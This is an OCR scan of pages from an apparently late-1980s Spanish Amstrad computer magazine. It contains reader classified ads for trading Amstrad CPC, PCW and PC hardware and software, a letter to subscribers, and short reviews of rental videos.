Garcia Sanz. Rio Tajo, 26, 12 


44003 Teruel Telefonos 
60 58 87 y 60 69 26. 

VENDO CPC 6128, Impre- 
sora BX1000 silicon, 
Disc 256 K Modulador TV va¬ 
rios libros, raton y 20 discos 
llerios de programas comercia- 
les: DBase, MultipSan, Words¬ 
tar, etcetera. Junto o por sepa¬ 
rado. Telefono 22 30 78. Eu¬ 
genio. Todo muy barato. 

VENDO Amstrad PCW 8266 
con irnpresora impecable, con 
varios discos de juegos y utili- 
dades. Telefo¬ 

no (976) 37 74 52. Todo por 
55.000 pesetas. 

CAMBIO juegos y utilida¬ 
des. Posee unos cuantos: Test 
Drive. Set, Eden Blues. Sabo¬ 
teur II, Starglider, etcetera. Me 
interesan Chuch Yeagers, 
Ace II, Ikary, Grizzor... De uti¬ 
lidades: Cad Cam, Gem From 
Editor. Llamar al telefono 
(976) 29 15 41. Preguntar por 
liiaki. 

CLUB I.D. Cambio juegos y 
utilidades de CPC y PC. Inte¬ 
resan Chuck Yeagers, 
Ace II... Tenemos muchos. 
Llamar al telefono (976) 
29 15 41, preguntar por Inaki, 
o (976) 29 92 63, por David. 
Regalamos un juego al sus- 
cribirse. 


GASTILLME0N 


COMPRO, vendo y cambio 
todo tipo de programas para 
CPC 464 (solo cinta). Intere- 
sados escribir a: Santi. Aparta- 
do de Correos 387. 09080 Bur¬ 
gos (enviar lista) 

ME GUSTARIA cambiarte 
juegos. Llama al telefono 
72 37 28 de Palencia. 

CAMBIO y compro juegos 
para el CPC 464, tengo varios 
titulos, tambien vendo. Intere- 
sados escribir a J. Antonio 
Martin V. Obras Publicas , 16 , 
22 A. 09550 Villarcayo (Bur¬ 
gos). 

CAMBIO, vendo y compro 
todo tipo de programas para 
PCW 8256. Iriteresados escri¬ 
bir a Jose Luis Gonzalez. Ave- 
nida de Nocedo. 21, 22 D 
24007 Leon. Telefono (987) 
24 15 79. 

VENDO juegos y utilidades 
CPC 464 cinta por cambio de 
ordenador. Amplia lista, muy 
economicos. Interesados es¬ 
cribir a Juan Carlos. Comenda- 
doras, 5-7, 4.° B 37001 Sa¬ 
lamanca. 

INTERCAMBIO todo tipo de 
programas para PC. Respues- 
ta segura. Escribir a Francisco 
Barbero. Rio Ebro, 9, 52 09200 
Miranda de Ebro (Burgos). 


DESEARIA que alguien me 
(acilitara la traduccion en Cas¬ 
tellano del manual del sinteti 
zador de voz SSA-1. Gracias. 
Enviar a: Julio Lorenzo Arlan- 
zon Fernandez. Arenal, 10. 
09200 Miranda de Ebro (Bur¬ 
gos). 

CAMBIO o venao progra¬ 
mas para el CPC 6128: Tar¬ 
get, Renegade, Mach 3, 
Lucky Lucke, Pink Ranter, 
Master Renta, Oodjob 3, La¬ 
ser Gemus, Laser Basic, Mi¬ 
crogen, Microscrip, etcetera. 
Miguel Angel. Avenida de ia Li- 
bertad, 21, 22 A. 24400 Pon- 
ferrada (Leonj. Prometo con- 
testar. Maxima seriedad. 


CASTILLA-LA MANCHA 


CAMBIO todo tipo de soft¬ 
ware para PC y compatibles. 
Prometo contesiar. Escribir a 
Francisco Garcia. Plaza Pala- 
cio, 8, 32 A. 13440 Argamasi- 
lla de Calatrava (Ciudad Real). 
Telefono (926) 47 71 51. 

COMPRO juegos Out Run, 
Dakar, Moto Test, Drive, para 
CPC 6128 disco. A buen pre¬ 
cio. Contestant a todos. Tele¬ 
fono 25 04 24. Albacete. 

jGANGA! PCW. Vendo 
Starglider, James Bond 007, 
Head Over Heels, Fairlight, 
Snooker, Billar, Pool, Invaders, 
Strike Force Harrier, Loco 
Script II, Polyprint, Polyword, 
Troglo, Master renta. Precio 
7.000 pesetas. Uno 1.000 pe¬ 
setas. Precio real superior a 
40.000 pesetas. C.R.E. Carai- 
so, 2. 02410 Lietor (Albacete). 

VENDO Amstrad CPC 464 
fdsforo verde con joystick, rna- 
nuales, revistas y unos 180 
programas. Urge venderlo por 
cambio de equipo. En perlecto 
estado, precio a negociar. 
mandar propuestas a Deside 
rio Garcia. Daoiz, 1,12 doha, 
02004 Albacete. 

CAMBIO y vendo progra¬ 
mas para los CPC de Amstrad. 
Poseo 800 programas de todo 
tipo. Interesados escribir a Je¬ 
sus Cruz Molina. Francisco Pi- 
zarro, 14. 02004 Albacete. Te¬ 
lefono (967) 22 03 51. 


VENDO CPC 6128 color, 
manuales, 150 juegos yaplica- 
eiones, adaptador doble, joys¬ 
tick, libros y revistas. Juan Car¬ 
los Fernandez. Ferrer del Rio. 
33. 22 C. 28028 Madrid. Te¬ 
lefono 246 50 27. 

VENDO PC 1512 monocro¬ 
mo, disco simple, un ano de 
uso. casi nuevo. con unos 30 
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programas y unas revistas 
Precio no fijado. Llamar al te¬ 
lefono 759 77 18. despues de 
las 18 horas. Javier. 

DESEARIA infercambiar 
programas y juegos para el 
PCW 8256. Yo poseo los si- 
guientes programas: DBa¬ 
se II, Supercalc II, Contabili- 
dad, Amsfile, Colossus 
Chess 4, Matchday II. Todos 
los programas y juegos tienen 
las instrucciones en Castella¬ 
no. Los interesados llamar al 
telefono (91) 693 69 66, a par- 
tir de las 19 horas. Preguntar 
por Pedro Hermoso Merchan. 

VENDO Amstrad 6128 FV, 
poco usado, 1 2 discos (maes- 
tros, base de datos, juegos), 
fundas, varias revistas AMS¬ 
TRAD USER y libros. Todo por 
65.000 pesetas. Llamar al tele¬ 
fono 462 25 07. 

DESEO contactar con usua- 
rios del PCW 8256 para inter- 
cambio de programas y jue¬ 
gos. Telefono 407 73 75 de 
Madrid. 

COMPRO programas para 
PCW 8256-512. Enviar lista y 
precios a Ignacio Perena Fer¬ 
nandez. Gomez Ortega, 12, 
62 B. 28002 Madrid. Telefono 
261 85 95 (preferentemente 
de Madrid). 

VENDO magnifido Amstrad 
PCI 512 monocromo, 2 drives, 
con filtro de pantalla y nuevo, 
por 115 000 pesetas. J legos y 
programas increibles de rega¬ 
le (Goody, Strip Poker, Basket, 
conversacionales, Olimpiadas, 
simuladores, Golf, Gem, com- 
piladores, utilidades, tutores, 
editores, etdetera). Llamar tar- 
des. Jerry. Telefono 
742 31 63. 

VENDO CPC 6128 monitor 
color, joystick y programas, por 
90.000 pesetas. Lo vendo por 
no tener tiempo. Telefono 
730 88 94. Noches. Preguntar 
por Ramon. 

VENDO, por cambio de or¬ 
denador, fundas, joystick, cur- 
sos I y II autodidactico de Ba¬ 
sic con cassette y cable para 
irnpresora. A la mitad de su 
precio real. Todo para el Ams¬ 
trad 464. S6lo por 6.000 pese- 
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tas. Escribir a Manuel Rivera 
Garcia. Zorzales, 3. 28300 
Ararijuez. Llamar al telefono 
(91) 891 79 83 a partir de las 
9.30 de la noche. 

iNFORMATICO se ofrece 
para desarrollar programas 
prolesionales a medida. Mu¬ 
cha experiencia y buen precio. 
Telefono 450 45 24. 


vizcjaya 


NOS GUSTARIA intercam 

biar juegos o utilidades para el 
Amstrad CPC 6128 en disco o 
en cinta, indistintamente, y 
tambien juegos o utilidades 
para el Commodore Amiga. 
Tambten nos gustaria formar 
un club para ambos ordenado- 
res, para mtercambiar informa- 
cion, ideas, etcetera. Interesa- 
dos escribir a: Jose Luis Gon¬ 
zalez. Zabaibide, 34, 7.° A. 
48006 Bilbao (Vizcaya). Para 
Amstrad CPC 6128. Telefono 
433 64 93. O Roberto Delga¬ 
do. Remigio Gandasegui, 5, 
8.° B. 48006 Bilbao (Vizcaya). 
Telbfonos 433 49 91 (casa) y 
433 68 40 (tienda). 

DESEO contactar con usua- 
riosdelCPC 6128. Tengo jue¬ 
gos y utilidades. Llamar a 
Frank, telefono 437 64 14, o 
escribir a: Francisco Josb Pe¬ 
rez. Grupo Azarun. 315. cen¬ 
tre. Baracaldo (Vizcaya). 

COMPRO, cambio y vendo 
programas para el PCVV, jue¬ 
gos, autoedicibn, copiones, 
lenguajes, etcetera. Lo ultimo, 
seguro que algo te interesa. 
Escribe o llama a Jose Manuel 
Vidal. Obispo Ballester, 14, 
6.‘ D. 01002 Vitoria. Telefono 
(945) 27 56 62. Si escribes 
manda tu lista, si tienes. Si lla¬ 
mas, ya hablaremos. Seriedad 
y rapidez total. 


mm\k 


CAMBIO programas para el 
Amstrad CPC 464, como 
Match Day II, Star Wars 
Correcaminos, etcetera. Irite 
resados escribir a Jose Manuel 
Lopez Serrano. Paseo Rosa¬ 
les, 18, 2.° 30500 Molina de 
Segura (Murcia). 

jINCREIBLE! Para PCW 
8256-8512-9512. Poseeo mas 
de 150 programas (nacionales 
e importados), tales como: 
Fleet Street Editor, Newdesk, 
Rotate, XFormat 2, Signwriter, 
Masterpack, Mini Office, etce¬ 
tera (tambien tengo los mejo- 
res juegos). Cambio los que 
sea por el juego Bob Winner o 
el Desktop Publisher (entre 
otros). Escribir o llamar a An 
gel Espin Bernai. Juan Guerre¬ 


ro Ruiz, 2. 30009 Murcia. Te¬ 
lefono (968) 29 78 36. jVa- 
mos, animate! 

VENDO impresora UMP 
3000 precintada y con la ga- 
rantia a sellar, por compra de 
la oferta del 1640. Precio: 
35.000 pesetas. Arturo San¬ 
chez Perez. Alfonso X El Sa- 
bio, 2, 1.° B. 30008 Murcia. 
Telefono 24 63 49. 


ASTURIAS 


VENDO y cambio para PCs 
y compatibles DBase III+, en 
5 1/4' y 3 1/2", Open Ac¬ 
cess II y Multiplan en 5 1/4", 
Wordstar en 3 1/2". Escribir a 
Jorge Luis Martinez. Mejico, 9, 
8“ D. 33011 Oviedo (Astu¬ 
rias). 

COMPRO cambio y vendo 
todo tipo de programas para 
PCW. Ultimas riovedades. 
Programas y juegos extranje- 
ros. Coniesto seguro, enviar 
lista. Gran cantidad de juegos. 
Escribir o llamar a Joaquin Lla- 
mes Garcia. Doctor Casal, 8, 
1 ° dcha. 33004 Oviedo (Astu¬ 
rias). Telefono (985) 22 07 60. 

COMPRO programas didac- 
ticos de matembticas y fisica 
para PC. Mandar lista con pre- 
cios a Sergio Vazquez Garcia. 
Manuel de Falla, 3. 33011 
Oviedo (Asturias). 


ANDALUCIA 


ALPHA Club, usuarios PC, 
tenemos nuestra revista infor- 
matizada especial para princi- 
piantes. Basic, Pascal. Para in- 
formaciOn o intercambio de 
programas: J. Hazan. Crira. 
Malaga, 25, 2° A. 11203 Alge- 
ciras (Cadiz). 

CAMBIO todo tipo de pro¬ 
gramas para PC y compati¬ 
bles. Enviar lista a. Diego Do¬ 
minguez Rodriguez. Molino. 3. 
23311 Santo Tomb (Jaen). 
Respuesta segura. 

CAMBIO, compro y vendo 
programas de toda clase para 
al PCW 8256 y 8512, y para el 
CPC 6128. Preferible en dis¬ 
co. Mi direccibn es: Ana Maria 
Garcia Luna. Avenida Almoga- 
vares, 11, 9 B, bajo C. 14007 
Cordoba. Mi telbfono es 
48 03 65. Preferible de Cordo¬ 
ba. 

CAMBIO programas, trucos, 
ideas para PCW 8256, sobre 
todo programas de utilidad. 
Contestare a todos, enviad lis¬ 
ta. Interesados escribir a Josb 
Miguel Garcia Molinero. Plate- 
ro Repiso, 8, 5.°, 22. 14010 
COrdoba. 

VENDO mas de 100 discos 
de 3" llenos de programas de 


juegos y utilidades para Ams- 
trao CPC 6128, a 700 pesetas 
cada uno. Tambien cambio 
programas Commodore Ami 
ga. Pedro Vergara. Trille, 6. 
11009 Cadiz. Telefono (956) 
25 13 96. 

VENDO ordenador Macin- 
tosh-ED 512 K. Unidad de dis¬ 
co 800 K. Estreno, ideal dise- 
ho, con programas. Precio: 
280.000 pesetas. Telefono 
69 78 51 (Jaen). 


m\m 


VENDO y cambio progra¬ 
mas para todos los CPCs. 
Tengo 700 entre juegos y utili¬ 
dades. Interesados dirigirse a 
Jose Perez Gomez. Alcalde 
Portanet, 17, 3.“ C. 36210 
Vigo (Pontevedra), Telefono 
(986) 29 57 97. Prometo con- 
testar. 

COMPRO, cambio y vendo. 
para PC-PCW, programas y 
juegos de estos modeios. Es¬ 
cribe rapido al apartado de 
Correos 502 de Santiago de 
Compostela. Iridicar en el so¬ 
bre PC o PCW. No os olvideis 
de enviar lista. 


babgelona 


CAMBIO diez programas 
Spectrum+ por uno 
PCW 8256. Mando lista, con- 
testo seguro, seriedad total. 


discos llenos de programas y 
utilidades, cables, cassette 
para cinta con mas de 20 cin- 
tas originates, revistas, etcete¬ 
ra. Por 160.000 pesetas. Lla¬ 
mar al tetefono (93) 352 19 41 
de Barcelona. Preguntar por 
Javi. Por la noche. 

VENDO Amstrad 6128, mo¬ 
nitor color, cassette Philips, 40 
discos con juegos y utilidades, 
revistas diversas. Llamar a 
Jordi. Telefono (93) 245 59 15. 
Barcelona. Precio a convenir. 

BUSCO programa de diseno 
gratico para PC 1640 ECD y 
programa para biblioteca, los 
dos de caracter profesional. 
Tambien intercambio progra¬ 
mas para compatibles. Serie¬ 
dad. Interesados mandar lista 
a Jaume Vails. Vinya Elies, 
s/n. 08187. S. Eulalia de 
Ronqana (Barcelona). Contes- 
tacibn garantizada. 

COMPRO, vendo y cambio 
todo tipo de programas y utili¬ 
dades para PC. Enviar lista. 
No importa si se ti'enen mu- 
chos o pocos programas. Pro¬ 
meto contestar a todos. Jordi 
Pujol. Verdi, 90, 2.”, 1.* escale- 
ra. Barcelona. Telefonos (93) 
217 84 91 y 237 43 50 (tar 
des). 

JUEGOS por un tubo. En el 
Club Bit and Byte cambiamos 
desinteresadamente juegos 



Escribir a Manuel Regueiro Ri¬ 
viere. Avenida 301,138. 08860 
Castelldefels (Barcelona). 

COMPRO PCW 8512 o 
PCW 8256 barato; tambien 
compraria modulador para 
CPC 6128. Bien de precio. 
Llamar de siete a ocho de la 
tarde. Telefono 783 99 66. 

VENDO Amstrad CPC 6128 
con monitor en color, con 100 


para PC y compatibles, mas de 
500. Envianos tu lista y te re- 
galamos el Anti-virus. Escribe 
a Miguel Hermosin Morilla. 
Nuestra Senora de los Ange 
les, 11, 1.° 2. 08291 Ripollet 
(Barcelona). Enviamos iista 
por correo o Fax. 

VENDO y cambio progra¬ 
mas para PC 1512. Poseo 
Gryzor, Quijote, Bob Morane, 
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COM PRO- VENDO-CAMBIO 


Goody, Bob Winer, One on 
one, Taper, etcdtera, a 250 pe¬ 
setas. Estoy interesado en tor- 
mar club. Llamar al telefono 
(973) 60 12 90. Preguntar por 
Rodi (Lerida). 

VENDO Amstrad CPC 6128, 
monitor monocromo. Incluye: 
discos, funda, revistas, etcete¬ 
ra, Perfecto estado. Precio a 
convenir. Llamar a Francesc. 
Tetefono (93) 210 72 30. Bar¬ 
celona, tardes y noches. 

VENDO Amstrad CPC 6128, 
monitor color convertidor TV, 
3 cassettes, 3 joysticks, 15 cin- 
tas, varios discos 15 AMS¬ 
TRAD USER, 15 «Tu micro», 
5 «Amstrad Acci6n», Spec¬ 
trum 48, Interface, varias cin- 
tas, 2 libros. 55 «Microhobys», 
10 -Sinclair User», 25 C+V.G. 
Sdlo todo junto a buen precio. 
Barcelona o cercanias. Miguel. 
Telefono 422 22 86. 

VENDO Amstrad PC 1512, 
doble disco, monitor color, jun¬ 
to impresora DMP 3000. nue- 
vos. Precio: 195.000 pesetas. 
Tambidn CPC 6128, mono¬ 
cromo. Precio: 65.000 pese¬ 
tas. Discutibles. Preguntar por 
Josep. Barcelona Tetefono 
753 08 59. 

VENDO, compro y cambio 
programas para PCW y de 
gestibn Amigos, escribir a Es- 
teve More Portus. D’en Riera, 
20. 08350 Arenys de Mar (Bar¬ 
celona). 

jATENCIONI, si quieres ju- 
gar a tope y tener tus utilida- 
des no dudes en llamarme, po- 
seo todos los mejores juegos 
del mercado: Predator, La aba- 
dia del crimen, Flyin Shark, 
Gryzor, Combat School, etce¬ 
tera, y las mejores utilidacfes: 
Oddjod Art Studio Avanced 
Art Studio, etcetera. Llamar a 
los teldfonos 314 59 84 
y 313 09 06, de 12.30 a 14.30 
y de 17.30 a 22.30. Sabados y 
domingos todo el dfa. Barcelo¬ 
na, Club Amstrad Nafiusa, pre¬ 
guntar por Jose Maria Mer¬ 
cado. 

LOTE para Amstrad PCP. 
10 discos, con los mejores tru- 
cos, graficos y juegos. 5 cintas, 
juegos originates. 4 libros, pro- 
gramacidn, juegos y utilidades. 
1 pantalla-filtro «Pollac». 80 re¬ 
vistas AMSTRAD Todo, sdlo 
23.000 pesetas. Telefono (93) 
211 55 48 (Barcelona). Joa¬ 
quin Zueras Tolosa. Lluganbs, 
8, 1.° B, 08022 Barcelona. 

INTERCAMBIO software 
PC. Tenemos simuladores de 
aventuras, de vuelo, de sub¬ 
marines, belieos, juegos de- 
portivos, arcades de todo tipo. 
herramientas de trabajo. 500 
programas y rrtes de 200 jue¬ 



gos disponibles. A lista recibi- 
da lista emitida por correo o 
Fax. Muy buena oportunidad 
para ampliar bibiiotecas de 
software. jApuntate! y aprove- 
cha estas vacaciones para 
conseguir tus mejores records. 
Eduard Martinez. Padilla, 160, 
5.’ 08013 Barcelona. 

VENDO, compro y cambio 
software CPC 6128, enviar lis 
ta a Gabriel Barrera, Costa Ro- 
dona, 5. 08250 Sant Joan de 
ViI (Barcelona). Telefono 
875 12 50. Me interesa conse¬ 
guir fotocopias de las instruc- 
ciones DBase II, las conipra- 
ria o cambiaria por juegos. 


COMPRO, cambio y vendo 
programas para PCW. Contes- 
to seguro y envio lista. Escribir 
a: Josd Guirao Fernandez. Ca- 
mino de las Mercedes, 80. 
38208 La Laguna (Tenerife) 
Tetefono (922) 26 44 28. 

VENDO, para ordenadores 
CPC Amstrad y a compahia 
editora de software o a revista 
de informdtica, cada uno y por 
separado los programas si- 
guientes: — C&lculo de alum- 
brado de interiores, con posibi- 
lidad de hacerio en tempara de 
V. Mercuric y tubos fluorescen- 
tes. Para distintos tipos de 
aiumbrados, aparatos y tipos 
de sustentacidn. — Confec- 
cidn de pedidos. — Rapport de 
control de visitas semanales 
de vendedores, promotores o 
representantes. — Rapport de 
control e informacion de clien- 
tes. Estos tres ultimos progra¬ 
mas, de gran utilidad para ven¬ 
dedores, represent art es, etce¬ 
tera, ya que ahorran gran can- 
tidad de tiempo tarito en la rea¬ 
lization de los pedidos como 
en los iriformes. Programas to- 
dos originates y muy perfeccio- 
nados. Interesados contactar 
con Luis Pena Bethencourt. 
Los Martinez de Escobar, 8, 
4.° F. 35007 Las Palmas de 
Gran Canaria. Telefono (928) 
27 01 86. 


BALEARES 


VENDO Amstrad PCW 8512 
por paso a PC, con su impre¬ 
sora y 30 programas originates 
con sus instrucciones, muchos 
de importation, y juegos, que 
ocupan 20 diskettes, todo por 
110.000 pesetas. Dirigirse a 
Antonio Cassellas Ripoll. Pla¬ 
za Pedro Garau, 2. 07007 Pal¬ 
ma de Mallorca (Islas Balea- 
res). 

DESARROLLAMOS todo 


tipo de programas para com¬ 
patibles. Precios inmejorables. 
Tetefono (927) 41 70 42. 
PROGRAMADORES profe- 

sionales con muchos anos de 


experiencia. Desarrollamos 
todo tipo de programas para 
compatibles. Cai d ad y buen 
precio. Telefono (91) 
450 92 84. 
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CARTA A LOS SUSCRIPTORES 

Querido amigo/a: 

Desde estas pdginas queremos agradeceros vuestra confiaiua. Ha* 
bsis hecho posible nuestra position; hoy ya sois 11.600 los amigos 
que confian su interds en AMSTRAD USER. 

Esto nos hace pensar constantemente en ofreceros lo mejor, desde 
el punto de vista profesional y de atencidn a vuestras necesidades y 
problemas informaticos, queremos superarnos para que nunta sirrtdis 
falta de informacidn; creo que en este campo conseguiriamos lo me* 
jor para aumentar nuestra gran familia. 

Para completar el mundo informatico en que nos movemos, he- 
mos creado nuestras pdginas de OFERTA, con excelentes productos de 
todo fipo, a unos precios sumamente atractivos y asequibles para ti. 
Creemos que pueden favorecerte, por ello iremos incorporando nue- 
vos productos siempre pensando en lo que puedas necesitar. 

Ahora, si tienes que renovar tu suscripcidn o tienes un amigo in- 
teresado en suscribirse, te comunicamos que hemos incorporado nue- 
vos regalos para elegir: 

— Portafolios. 

— Reloj. 

— Calculadora. 

— Juego estilogrdfica y boligrafo recargable. 

— Afeitadora portatil. 

Elige uno pronto, nosotros seguimos confiando en ti 


Gracias 

AMfTRAD ESPANA 
(Putlicaciones) 

EDIMICRO, Avda. del Meditcrraneo. 9 - 28007 MADRID ■ TL. 413 83 76-Tdlex, 49003 [HMD E 
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Con la llegada del otono, las 
productoras de video sacan a 
la luz muchas e importantes 
novedades. Como queremos 
que empeceis con buen pie la 
nueva estacion, os ofrecemos 
cintas llenas de aventuras y di- 
vertidas situaciones. Y para 
comenzar, ique diriais si os 
propusieramos pasar una di¬ 
ve rti da temporada en el desier- 
to? Claras y frias noches de 
luna, suave viento helado y bu- 
fidos de camello rompiendo el 
silencio. 

Animate y i rente con noso- 
tros a comprobar como pueden 
estropear dos comicos las co- 
sas hasta el extremo de arre- 
glarlas. 


<ISHTAR> 


Direccion: Elaine May 

Principales interpretes: Dustin 
Hoffman, Isabelle Adjani, Warren 
Beatty. 

Editada por RCA Columbia Pic¬ 
tures. 

Si quieres liegar a cantante de 
exito y aceptas un trabajo en el de- 
sierto es que estas loco o eres de- 
sesperadamente pobre. 

Estamos convencidos de que los 
protagonistas de este filme pade- 
cen ambos males, ya que malo es 
tener poca fortuna con los repre- 
sentantes, o actuar en bares de 
mala muerte a falta de algo mejor 
pero dejarlo todo e irse al desierto 
del Sahara es desde luego tentar a 
la suerte demasiado. 

Clarke y Rogers son dos absur- 
dos compositores de canciones, 
abandonados por la suerte y bus- 
cando desesperadamente dinero. 
Siguiendo el consejo de su astuto 
agente la pareja se embarca en un 
viaje a la mlstica y misteriosa Ishtar. 

A su llegada, nuestros heroes se 
enrolan por separado como esplas 


pero en bandos contrarios y pla 
nean una revolucidn, a la vez que 
rivalizan por el amor de una estu 
penda y maravillosa joven luchado- 
ra por la libertad. Pero Clarke y Ro 
gers son peores esplas que com¬ 
positores de canciones y pronto se 
ven abandonados, sin recursos, en 
el desierto, con la unica compania 
de un camello ciego y varios asesi 
nos de la CIA. 


«EI corazon 


del angel» 


Direccidn: Alan Parker. 

Principales interpretes: Mickey 
Rourke, Robert De Niro, Lisa Bo- 
net, Charlotte Rampling. 

Editada por: Izaro Films. 

Harry Angel ha sido contratado 
para buscar la verdad... Reza para 
que no la encuentre. 

A traves de los pasos de su prin¬ 
cipal protagonists Harry Angel, un 
detective de poca monta del 
Brooklyn de los ahos cincuenta, la 
ultima pelicula de Alan Parker nos 
Neva a un viaje de crimen y Valen¬ 
cia que recorre las desesperadas 




SPONSOR: 
AM STRAP I. 


















































































































calles de Harlem, los cargados elu¬ 
des de jazz de Nueva Orleans y fi- 
nalmente los sofocantes pantanos 
de Louisiana. 

«EI corazon del angel>> es una de 
las peliculas mas provocativas del 
cine hasta la fecha. 

La experiencia de ver «EI cora¬ 
zon del angel” es, realmente, la ex¬ 
periencia de ver una pelicula es- 
pectacular. 

«Panico a las tres» 


Direction: Phil Joanou. 

Principales interpretes: Casey 
Siemaszko, Anne Ryan, Richard 
Tyson, Philip Baker Hall. 

Ediiada por: CIC Video. 

«Jerry Mitchell tropieza con 
Buddy Revel. Ahora Jerry no pien- 
sa en las matematicas o en el in¬ 
gles, porque a partir de las tres, el 
sera historia.» Bienvenidos a un dia 
en la vida de Jerry Mitchell. El reloj 
esta a punto de dar las 8 en la Es- 
cuela Superior de Weaver y la vida 
de Jerry esta a punto de compiicar- 
se. Hoy, cuando ia campana suene 
a las tres, va a tener que ir al ulti¬ 
mo lugar que desea: al parking de 
la escuela. 

Alii va a enfrentarse a la ira de 
Buddy Revel, el sujeto mas grande, 
fuerte y despreciable que jamas 
haya pisado los pasillos de la es¬ 
cuela. A menos que Jerry pueda 
encontrar un medio de evitarlo, 
cuando concluya la jornada esco- 
V lar, todo acabara. Dispone de siete 

horas, de una buena cantidad de in- 
genio, simpatfa e inteligencia, de 
unos cuantos amigos, de una inge- 
niosa y divertida hermana y la peor 
suerte que puede tener un mucha- 
cho en el mundo. 

«Nacido al este 

de Los Angeles» 

Direccion: Cheech Marin. 

Principales interpretes: Cheech 
Marin, Daniel Stern Paul Rodri¬ 
guez, Kamala Ldpez. 

Editada por: CIC Video. 

«Una comedia al borde la lo 
cura». 

Cheech se encuentra en una di¬ 
vertida situacion cuando es depor- 
tado equivocadamente a Mejico sin 
carnet de identidad ni conocimien- 





NACIDOALESTE 

DELOS AHGEUS* 


to del espanol, y no puede conven- 
cer a los oficiales norteamericanos 
de que le permitan retornar a su 
patria. 

Entre intentonas fallidas para 
cruzar la frontera, Cheech es enga- 
fiado por un portero de hotel, esco- 
gido por sus compaheros de pri 
sion, seducido por una atractiva se- 
norita y ayudado por unos jovenes 
maleantes. 

Todo ello prueba que este pecu¬ 
liar ilegal no ha nacido para huir, 
especialmente del servieio de inmi- 
gracion, pero las carcajadas no 
pueden ser mas estruendosas en 
esta primera comedia que Cheech 
Marin interprets en solitario. 

«Cargam ento 

peligroso» 

Direccion: John Dixon. 

Principales interpretes: John Bla¬ 
ke, Mark Hembrow, Nikki Coghill, 

Editada por: RCA Columbia Pic¬ 
tures. 

«Dos tipos locos, una atractiva 
abogada y 10.000 ositos koala.” 

Dave y Peter, dos jovenes meca- 
nicos decididos a hacerse ricos con 
un transporte de juguetes para ni- 
hos, se convierten en la presa de 
una caceria que se emprende con¬ 
tra ellos cuando por error toman po- 
sesion de una partida de koalas de 
peluche rellenos con dinero negro. 

El implacable Gilman, ultrajado 
por la perdida del camion, da ins- 
trucciones a su asociado Simon 
Martin para que recupere la rner- 
cancia a cualquier precio. 

«ROBOCOP» 

«ROBOCOP» es parte hombre, 
parte maquina, todo policia. es el 
future refuerzo de la ley. 

Direccion: Paul Verhoeven. 

Principales interpretes: Peter 
Weller, Nancy Allen. 

Editada por: RCA Columbia Pic¬ 
tures. 

Esto es el future, el crimen barre 
la ciudad de Detroit. El valiente 
agente de policia Murphy cuando 
persigue a unos criminales es atra 
pado'y abatido salvajemente por 
una banda de delincuentes. Su 
cuerpo, horriblemente mutilado, 
yace en el suelo en un gran charco 


?°i TIPOS L °cos. 
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«Gaby. Un a historia 
verdadera» 

Direccion: Luis Mandoki. 

Principaies interpretes: Liv Hu¬ 
man, Robert Loggia, Norma Alejan¬ 
dro Rachel Levin. 

Editado por: RCA Columbia Pic¬ 
tures. 

«Cuando la mente pone limitacio- 
nes, el co r azon las supera.» 

Esta pelicula. que esta basa da 


Direccion: Charlie Loventhal. 

Principaies interpretes: Scott Va¬ 
lentine, Michelle Little, Robert Tre- 
bor, Alan Rudge, Gina Gallego. 

Editada por: RCA Columbia Pic 
lures. 

«Un romance monstruosamente 
divertido.o 

Denny y Kaz descubren. en esta 
divertidisima pelicula, que el verda- 
dero amor tiene muchas caras y a 
veces unas. El confiado pero solita- 
rio Kaz esta buscando un amor 


imperceptiblemente. 

Utilizando lo que queda de 
Murphy, se podra iniciar el progra- 
ma <‘ROBOCOP», lo mejor de 
ambos mundos; los reflejos mas ra- 
pidos que pueae ofrecer la tecnolo- 
gia moderns, una memoria de com- 
putadora y toda la vida para refor- 
zar la ley en las calles. Robocop no 
les defrauds, es mvencible, pero 
aunque crean que sus recuerdos 
personales fueron borrados, se 
equivocan... 


autoDioqrafico, cuenta 
la vida de Gabriela Brimmer, afec- 
tada desde su nacimiento por para- 
lisis cerebral. Se narran las relacio- 
nes con sus padres, su inseparable 
nana Florencia y con Fernando, el 
joven del que se enamora. A medi- 
da que Gaby crece. crecen sus di- 
ficultades y su deseo de acceder a 
las cosas que por su incapacitacion 
fisica parecen estarle prohibidas. 


«Ms diabolico amor» 
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cuando encuentra a Denny, una lin- 
da chica de tierno corazon con una 
misteriosa nabilidad para atraer 
animalitos extraviados y novios de- 
fraudados. 

Denny esta convencida ds que 
ha enconlrado al hombre de sus 
suenos cuando recoge a Kaz en la 
calle y le abre su corazon. Pero no 
es exactamente una pareia idilica 


porque Kaz tiene un pequeho pro- 
blema De vez en cuando se con- 
vierte, en un animal complete, con 
cuernos, pelo y |a veces cola! ^Po- 
dra Kaz deshacerse alquna vez de 
esa maldicidn 9 

6 Y podra Denny conseguir finai- 
mente lo mejor no ae ia bestia, sino 
del hombre? 


LOS VIDEOS MAS ALQUILADOS DEL MES 

Cita a degas RCA COLUMBIA PICTURES 

Una autentica vida de perros 

MGM/UA 

Guerreros del sol 

MGM/UA 

Superman 4 

IZARO FILMS 

Tres solteros y un biberon 

WEEKEND 

Cocodrilo Dundee 

CBS FOX 

El sargento de hierro 

WARNER HOME 

Apunta, dispara y corre 

MGM/UA 

El color del dinero 

FILMAYER 

Cleary, el detective 

CIC RCA 


» Parade 

I : ) i quieres saberio todo sobre la informatica y los 

ordenadores no te pierdas los sabados, de 17,30 a 19 h., 
el programa “Sabado Chip”. Dirigido 
por Antonio Rua, “El Rey del Chip”, y 
presentado por Jose Luis Ariaza. Que no 
se te olvide. Es el “Chip Parade”. 











































































































OFERTA ESPECIAL 


Jeremiah Johnson, 108 minu- 
tos. Robert Red ford, por 1.990 
pesetas. Ref. 443. 

Amigos muy fntimos. 

104 minutos. Burt Reynols y 
Goldie Hawn, por 1.990 pesetas. 
Ref. 441. 




vw?Nen honfi video 


BURT REYNOLDS Y GOLDIE HAWN 


4 *^ 



Pack de tres peliculas. 1) La batalla de 
Inglaterra. 2) Festival de dibujos anima- 
dos de Bugs Bunny. 3) Festival de dibu¬ 
jos animados del pato Lucas, por sdlo 
5.400 pesetas. Ref. 442. 



La mejor mnsica en el mejor 
soporte: compac-disc. 



Ref. 

Ref. 

Ref. 

Ref. 

Ref. 

Ref. 

Ref. 

Ref. 

Ref. 

Ref. 




419 

C. D. Nana Mouskouri 

1.725 ptas. 

420 

C. D. Antonio Vivaldi 

1.725 ptas. 

421 

C. D. Nikolai Rimsky 

1.725 ptas. 

422 

C. D. Johannes Brahms 

1.725 ptas. 

423 

C. D. Ludwig van Beetho< 



ven 

1.725 ptas. 

424 

C. D. Thaikovsky 

1.725 ptas. 

425 

